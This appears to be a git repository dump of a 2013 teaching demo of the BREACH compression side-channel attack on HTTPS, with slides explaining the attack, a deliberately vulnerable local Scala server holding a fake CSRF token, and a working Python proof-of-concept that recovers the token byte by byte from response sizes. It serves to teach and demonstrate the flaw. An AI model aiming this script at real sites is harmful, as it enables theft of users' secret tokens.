breach-https
old python script to demo breach-https vulnerbility
git clone https://9o.is/git/breach-https.git
commit 671b770d84a18ba3c314741e70af89909c6aae3e Author: Jul <jul@9o.is> Date: Thu, 24 Oct 2013 01:59:32 -0400 init Diffstat:
31 files changed, 501 insertions(+), 0 deletions(-)
diff --git a/.gitignore b/.gitignore @@ -0,0 +1,3 @@ +*~ +target + diff --git a/README.md b/README.md @@ -0,0 +1,26 @@ +# BREACH + +http://breachattack.com + +This project contains a sample website to execute the breach python code. + +### Step 1 + +Start the server: + + cd server + ./sbt.sh run + +then go to + + https://127.0.0.1:8433 + +If you're on windows, run the batch file instead. + +### Step 2 + +Execute the Python Breach script: + + python breach.py + + diff --git a/breach.py b/breach.py @@ -0,0 +1,134 @@ +import time +from random import randint +import requests +import math + +keyspace = "0123456789" +targetURL = "https://127.0.0.1:8433/?" +canary = "token=ajax:" +tokenLength = 19 +cookies = '' + +knownToken = "" +NumberOfRequests = 0 + +# Default padding (airbags) configuration values +PADDING_SIZE = 40; # Default +PADDING_SIZE_ADJUSTMENT = 0 +PADDING_TOP = 300 - PADDING_SIZE +PADDING_BOTTOM = 20 - PADDING_SIZE + +def IsCorrectGuess(currentCanary, guess): + global NumberOfRequests + padding = "" + + for x in xrange(0, (PADDING_SIZE + PADDING_SIZE_ADJUSTMENT) / 2): + padding += "{}" + + headers = { \ + 'Cache-Control' : 'no-cache', \ + 'Accept-Encoding' : 'gzip, deflate', \ + 'Pragma' : 'no-cache', \ + 'Cookie' : cookies, \ + 'Accept' : '*/*', \ + 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.4 (BREACH 1.0, like Gecko) Chrome/22.0.1229.94 Safari/537.4', \ + 'Connection' : 'keep-alive'} + r1 = requests.get(targetURL + currentCanary + guess + padding + "@", headers=headers) + r2 = requests.get(targetURL + currentCanary + padding + guess + "@", headers=headers) + r1Len = len(r1.raw.data) + r2Len = len(r2.raw.data) + NumberOfRequests += 2 + + if not r1.ok or not r2.ok or math.fabs(r1Len - r2Len) > 100: + r1 = requests.get(targetURL + currentCanary + guess + padding + "@", headers=headers) + r2 = requests.get(targetURL + currentCanary + padding + guess + "@", headers=headers) + r1Len = len(r1.raw.data) + r2Len = len(r2.raw.data) + NumberOfRequests += 2 + + if r1Len < r2Len: + print "bytes1: " + str(r1Len) + " ... bytes2: " + str(r2Len) + " [" + guess + "]" + return (True, False) + elif r2Len < r1Len: + return (False, True) # false positive + + return (False, False) + + +def main(): + global knownToken + global NumberOfRequests + AirbagExpansions = 0 + ForceRecoveryMode = False + start = time.time() + + while True: + winner = None + knownBad = False + blackListedIntelligence = [] + + for c in keyspace: + if ForceRecoveryMode: break + + knownBad = False + (isCorrect, knownBad) = IsCorrectGuess(canary + knownToken, c) + if isCorrect: + print "[+] The winner is: " + c + + if winner: + print "[!] FIRST ROUND COLLISION - We already had a winner!! (" + \ + winner + " vs. " + c + ")" + print "Forcing Recovery Mode." + winner = None + ForceRecoveryMode = True + break + else: + winner = c + + if knownBad: + blackListedIntelligence.append(c) + + + # If we didn't find a winner -or found too many-, try different padding sizes + if not winner and AirbagExpansions < 5: + PADDING_SIZE_ADJUSTMENT = randint(PADDING_BOTTOM, PADDING_TOP) + print "[ Brief Airbag Expansion (#" + str(AirbagExpansions + 1) + \ + " @ " + str(PADDING_SIZE + PADDING_SIZE_ADJUSTMENT) + ") ]" + AirbagExpansions += 1 + continue + + # Additional *BASIC* recovery mechanisms + # This will probe 2 characters at a time (n x n) + if not winner: + print "[!] We could not locate a winner" + print "Initiating recovery procedure #1..." + + for c in keyspace: + for d in keyspace: + if d in blackListedIntelligence: + print " ... " + d + " ... " + continue + + knownBad2 = False + (isCorrect, knownBad2) = IsCorrectGuess(canary + knownToken, d+c) + if not winner and isCorrect: + print "[+] The winner is: " + d + winner = d + + # If we found a winner, we continue with the next character + if winner: + knownToken += winner + AirbagExpansions = 0 + PADDING_SIZE_ADJUSTMENT = 0 + + print "--- --- ---" + if knownToken.__len__() >= tokenLength: + break + + print "------------- GREAT SUCCESS WITH " + str(NumberOfRequests) + " REQUESTS -------------------- " + print "Secret Exfiltrated (in " + str(time.time() - start) + " seconds): " + knownToken + print "" + +if __name__ == '__main__': + main() + diff --git a/presentation/images/ahead1.png b/presentation/images/ahead1.png Binary files differ. diff --git a/presentation/images/ahead2.png b/presentation/images/ahead2.png Binary files differ. diff --git a/presentation/images/ahead3.png b/presentation/images/ahead3.png Binary files differ. diff --git a/presentation/images/ahead4.png b/presentation/images/ahead4.png Binary files differ. diff --git a/presentation/images/ahead5.png b/presentation/images/ahead5.png Binary files differ. diff --git a/presentation/images/ahead6.png b/presentation/images/ahead6.png Binary files differ. diff --git a/presentation/images/guesspad.png b/presentation/images/guesspad.png Binary files differ. diff --git a/presentation/images/guesspadchart.png b/presentation/images/guesspadchart.png Binary files differ. diff --git a/presentation/images/gzip_correct.png b/presentation/images/gzip_correct.png Binary files differ. diff --git a/presentation/images/gzip_incorrect.png b/presentation/images/gzip_incorrect.png Binary files differ. diff --git a/presentation/images/huffman_nightmare.png b/presentation/images/huffman_nightmare.png Binary files differ. diff --git a/presentation/images/huffman_what.png b/presentation/images/huffman_what.png Binary files differ. diff --git a/presentation/images/logo_breach.png b/presentation/images/logo_breach.png Binary files differ. diff --git a/presentation/images/lz77.gif b/presentation/images/lz77.gif Binary files differ. diff --git a/presentation/images/padguess.png b/presentation/images/padguess.png Binary files differ. diff --git a/presentation/images/padsize1.png b/presentation/images/padsize1.png Binary files differ. diff --git a/presentation/images/padsize2.png b/presentation/images/padsize2.png Binary files differ. diff --git a/presentation/images/padsize3.png b/presentation/images/padsize3.png Binary files differ. diff --git a/presentation/images/padsize4.png b/presentation/images/padsize4.png Binary files differ. diff --git a/presentation/images/user-input.png b/presentation/images/user-input.png Binary files differ. diff --git a/presentation/slides.html b/presentation/slides.html @@ -0,0 +1,267 @@ +<!DOCTYPE html> +<html> + <head> + <title>BREACH</title> + + <meta charset='utf-8'> + <script + src='http://html5slides.googlecode.com/svn/trunk/slides.js'></script> + </head> + + <style> + /* Your individual styles here, or just use inline styles if that’s + what you want. */ + + .biglogo { + background: url("images/logo_breach.png") no-repeat scroll 50% 50% white !important; + } + .slides.template-default > article:not(.nobackground):not(.biglogo) { + background: url("images/logo_breach.png") no-repeat scroll 710px 625px white !important; + } + </style> + + <body style='display: none'> + + <section class='slides layout-regular template-default'> + + <!-- Your slides (<article>s) go here. Delete or comment out the + slides below. --> + + + <article class='biglogo'> + <p style="text-align:center"> + Browser Reconnaissance & Exfiltration via Adaptive Compression of Hypertext + </p> + </article> + + <article> + <h1> + What is it? + <br> + Vulnerability in HTTPS + </h1> + <p> + Presented in this year's Black Hat conference. + <br> + Caused a lot of attention. + </p> + </article> + + <article> + <h1> + BREACH attacks https response body + </h1> + <ul> + <li>reveals secret values (CSRFtoken, ViewState etc.)</li> + <li>Similar to CRIME in 2012, it attacks http request headers and reveals ???</li> + </ul> + </article> + + <article> + <h1 style="margin:0"> + How does BREACH do it? + </h1> + <ul> + <li> + Man in the Middle + </li> + <li> + force requests to web server as the victim (inject iframes/imgs) + </li> + <li> + Targeted attack - web service must be vulnerable + </li> + <li> + requires compression from the server's response + </li> + <li> + require user-input to reflect in HTTP response body + </li> + <li> + there's a secret value in response body + </li> + <li> + be able to read response length (TLS does not hide this) + </li> + <li> + As little "noise" as possible from web server + </li> + <li> + Agnostic to encryption + </li> + </ul> + </article> + + <article> + <img src="images/user-input.png" /> + </article> + + <article class='smaller'> + <h1> + Oracle Attack + </h1> + <p> + fire some questions at a system, observe the answers that come back, and use them to infer facts that the answers didn't intend to disclose + </p> + <p>encryption + compression + user input = oracle attack</p> + </article> + + <article class=''> + <h1> + What is BREACH's Oracle? + </h1> + <ul> + <li>Measure the size delta</li> + <li>Guess byte by byte (requires ~1000 requests, depends, but it's not a brute force)</li> + <li>Error recovery</li> + </ul> + </article> + + <article class=''> + <h1 style="margin:0"> + LZ77: How does it work? + </h1> + <p style="text-align:center"> + <img src="images/lz77.gif" width="810" height="430" /> + </p> + </article> + + <article class=''> + <h1 style="margin:0"> + LZ77 + </h1> + <img src="images/gzip_incorrect.png" /> + </article> + + <article class=''> + <h1 style="margin:0"> + LZ77 + </h1> + <img src="images/gzip_correct.png" /> + </article> + + <article> + <h1> + EASY! EASY! EASY! + </h1> + <ul><li>Just gotta do it byte by byte</li><li>Why did we just find out now?</li></ul> + </article> + + <article> + <h1> + Theoretically Speaking + </h1> + <p> + People were aware of this attack. + <br>- Grandchild of CRIME 2012 + <br>- NSA controversies + </p> + </article> + + <article class=''> + <h1> + But, Practically Speaking, there are roadblocks + </h1> + </article> + + + + <article class=''> + <h1 style="margin:0"> + Huffman Coding + </h1> + <p> + <img src="images/huffman_what.png" /> + </p> + </article> + +<article class=''> + <h1 style="margin:0"> + Huffman Coding + </h1> + <ul> + <img src="images/huffman_nightmare.png" /> + </p> + </article> + + <article class=''> + <h1 style="margin:0"> + Doomed? No + </h1> + <p style="text-align:center"> + Solution: Padding and 2 Tries + <br><br> + <img src="images/guesspad.png" /> + <br><br> + <img src="images/padguess.png" /> + <br> + A or B? + <br> + <img src="images/guesspadchart.png" /> + </p> + <p> + You don't compare the sizes with the different guesses, but the differential of sizes with the padding before and after the guess. + </p> + </article> + + <article class=''> + <h1 style="margin:0"> + False Negatives + </h1> + <p style="text-align:center"> + due to "subtle inner workings in Deflate"<br> + Solution: Try different padding sizes + <br><br> + <img src="images/padsize1.png" /> + <br><br> + <img src="images/padsize2.png" /> + <br><br> + <img src="images/padsize3.png" /> + <br><br> + <img src="images/padsize4.png" /> + </p> + </article> + + <article class=''> + <h1 style="margin:0"> + False Positive + </h1> + <ul class="build"> + <li> + "Look Ahead" + </li> + <li> + <img src="images/ahead1.png" /> + <br> + <img src="images/ahead2.png" /> + <br> + <img src="images/ahead3.png" /> + <br> + <img src="images/ahead4.png" /> + </li> + <li> + <img src="images/ahead5.png" /> + <br> + <img src="images/ahead6.png" /> + </li> + </ul> + </article> + + <article class='smaller'> + <h1> + Other Obstacles + </h1> + <p> + Won't cover more advanced obstacles and recoverys. it's not in PoC code + </p> + </article> + + <article class='smaller'> + <iframe src="http://breachattack.com"></iframe> + </article> + + </section> + + </body> +</html> + diff --git a/server/build.sbt b/server/build.sbt @@ -0,0 +1,17 @@ +name := "BREACH_SERVER2" + +version := "0.1" + +organization := "com.jcabrra" + +scalaVersion := "2.10.0" + +resolvers ++= Seq("snapshots" at "http://oss.sonatype.org/content/repositories/snapshots", + "releases" at "http://oss.sonatype.org/content/repositories/releases") + +libraryDependencies ++= { + Seq( + "net.databinder" %% "unfiltered-jetty" % "0.7.0", + "net.databinder" %% "unfiltered-filter" % "0.7.0" + ) +} diff --git a/server/keystore b/server/keystore Binary files differ. diff --git a/server/project/plugins.sbt b/server/project/plugins.sbt @@ -0,0 +1,3 @@ +resolvers += "Typesafe Releases" at "http://repo.typesafe.com/typesafe/releases/" + +addSbtPlugin("com.typesafe.sbteclipse" % "sbteclipse-plugin" % "2.2.0") diff --git a/server/sbt-launch.jar b/server/sbt-launch.jar Binary files differ. diff --git a/server/sbt.bat b/server/sbt.bat @@ -0,0 +1,2 @@ +set SCRIPT_DIR=%~dp0 +java -Dfile.encoding=UTF8 -Xms512M -Xmx950M -Xss1M -XX:+CMSClassUnloadingEnabled -XX:MaxPermSize=384M -jar "%SCRIPT_DIR%sbt-launch.jar" %* +\ No newline at end of file diff --git a/server/sbt.sh b/server/sbt.sh @@ -0,0 +1,2 @@ +#!/bin/bash +java -Djetty.ssl.keyStore=keystore -Djetty.ssl.keyStorePassword=6dUtGYj3k68x -Dfile.encoding=UTF8 -Xms128M -Xmx256M -Xss1M -XX:+CMSClassUnloadingEnabled -XX:MaxPermSize=256M -jar `dirname $0`/sbt-launch.jar "$@" diff --git a/server/src/main/scala/main.scala b/server/src/main/scala/main.scala @@ -0,0 +1,46 @@ +import unfiltered._ +import unfiltered.request._ +import unfiltered.response._ + +object Main { + + def main(a: Array[String]) { + (new jetty.Http(8080, "0.0.0.0") with jetty.Ssl { + def sslPort = 8433 + }).filter(Breach).run + } +} + +object Breach extends unfiltered.filter.Plan { + + def intent = unfiltered.kit.GZip { + case r @ Path(p) & Host(h) if(!r.isSecure) => Redirect( + "https://%s:8433%s" format(h.split(':')(0),p) + ) + case r @ Path(p) & Host(h) & Params(q) => + Html( + <html> + <head> + <title>BREACH PoC</title> + </head> + <body style="margin:30px"> + <p> + This is just a basic example. The form below doesn't do anything, but contains a fake CSRF Token. Test the BREACH PoC on this webpage with HTTPS. + </p> + <p> + For more information, visit their offical site at <a href="http://breachattack.com/">http://breachattack.com/</a>. + </p> + <form> + <input id="referrer_id" type="hidden" name="referrer" value={h+p+"?"+q.map(f=> f._1+"="+f._2.mkString).mkString("&")}></input> + <input id="csrfToken_id" type="hidden" name="csrfToken" value="ajax:9485364423219012891"></input> + <input id="name_id" type="text" name="name" placeholder="Name"></input> + <input id="email_id" type="email" name="email" placeholder="Email"></input> + <input id="password_id" type="password" name="password" placeholder="Password"></input> + <input id="submit_id" type="submit" value="Submit"></input> + </form> + </body> + </html> + ) + case _ => Pass + } +}